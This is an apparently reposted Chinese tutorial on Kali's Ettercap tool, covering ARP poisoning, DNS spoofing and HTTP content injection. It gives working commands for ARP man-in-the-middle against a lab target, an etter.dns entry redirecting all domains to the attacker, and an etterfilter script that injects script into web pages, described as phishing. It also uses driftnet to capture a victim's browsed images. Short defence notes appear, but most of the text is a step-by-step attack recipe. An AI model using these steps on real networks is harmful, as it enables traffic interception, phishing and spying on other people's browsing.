渗透利器-kali工具 (第七章-2) Dns劫持案例

本文内容:

  • ARP协议简介
  • Ettercap简介
  • Ettercap常用指令
  • Ettercap案例

1,ARP协议简介:

  ARP缓存表:ARP -a

  ARP帮助命令:ARP -h

  ARP[Address Resolution Protocol]:即地址解析协议,用于实现从IP地址到MAC地址的映射,即询问目标IP对应的MAC地址。

  我们能够通过修改MAC地址来达到中间人链接、局域网流控、流量欺骗等情况。

  ARP攻击防护 :

    ARP防火墙

    IP与MAC地址进行静态绑定

2,Ettercap简介:

  Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等常见的中间人攻击。

  特点:图形化、命令行。

  官网:http://www.ettercap-project.org/

  插件:https://linux.die.net/man/8/ettercap_plugins

  过滤器:https://linux.die.net/man/8/etterfilter

3,Ettercap常用指令:

  1.用户界面类型:

    -T   -text   使用只显示字符的界面

    -q   -quiet    安静模式,不显示抓到的数据包内容

    -G   -gtk   使用GTK+GUI,开启图形化模式

    ettercap      查看版本

  2.日志选项:

    -w   -write   <file> 将嗅探到的数据写入pcap文件<file>

    -L    -log     <logfile> 此处记录所用流浪<logfile>

  3.通用选项:

    -i -iface <iface> 使用该网络接口

    -l -liface 显示所有的网络接口

    -P -plugin <plugin> 开始该插件<plugin>

    -F -filter <file> 加载过滤器<file> [内容过滤器]

  4.嗅探与攻击选项:

    -M mitm <方法:ARGS> 执行mitm攻击

4,Ettercap案例:

  Ettercap开启DNS欺骗

    1.开启Apache服务

      编辑html文件:leafpad /var/www/html/

      service apache2 start

    2.编辑Ettercap配置文件

      leafpad /etc/ettercap/etter.dns

      修改:* A kali地址

    3.Ettercap使用图形化:

      Ettercap –G

    4.命令行测试:

      ettercap -qT -i eth0 -M arp:remote -w 1.pcap /192.168.177.2//192.168.177.129/ kali地址/靶机地址

    5.使用步骤:

      1.ettercap –G 打开图形化  

      2.点击Sniff-[选择一个网卡]默认即可-确定

      3.点击Hosts-Hosts list[是空的]

      4.点击Hosts-Scan for hosts[扫描]

      5.把本机kali添加到目标1,将靶机添加到目标2

      6.点击Mitm-ARP poisoning-选择保持:Sniff remote connections-确定1

      7.点击Plugins[导入模块]-Manage the plugins--dns_spoof

      8.点击Start--Start sniffing

  Ettercap替换网页内容-钓鱼:

    1.准备过滤器脚本:leafpad

      官方示例脚本:/usr/share/ettercap/etter.filter.examples

    2.编译脚本:

      etterfilter head.filter -o head.ef     //head.filter为脚本名

      6.Mitm,添加中间人 

      7.Filters,添加过滤器[选择.ef文件],如果自动加载成功,就可以进行下一步,不然,就要手动加载

      8.点击Start--Start sniffing

    3.受害者访问http网站:

  过滤器脚本:

        if (ip.proto == TCP && tcp.dst == 80){
            if (search(DATA.data, "Accept-Encoding")){
                replace("Accept-Encoding", "Accept-Nothing");
            }
        }
        if (ip.proto == TCP && tcp.src == 80) {
            if (search(DATA.data, "<head>")) {
                replace("<head>", "<head><script>alert('2333')</script>");
                msg("inject head");
            }
        }

    该过滤器脚本的作用是在http网站替换<head内容>,弹个框
    实例:

      https://www.sohu.com/a/289585315_609556

      driftnet -i eth0 ,就可以截获目标正在浏览的图片了

      在攻击之后打开的浏览器才有效果,之前打开的浏览器没有效果。

原文地址:https://www.cnblogs.com/xz25/p/12919928.html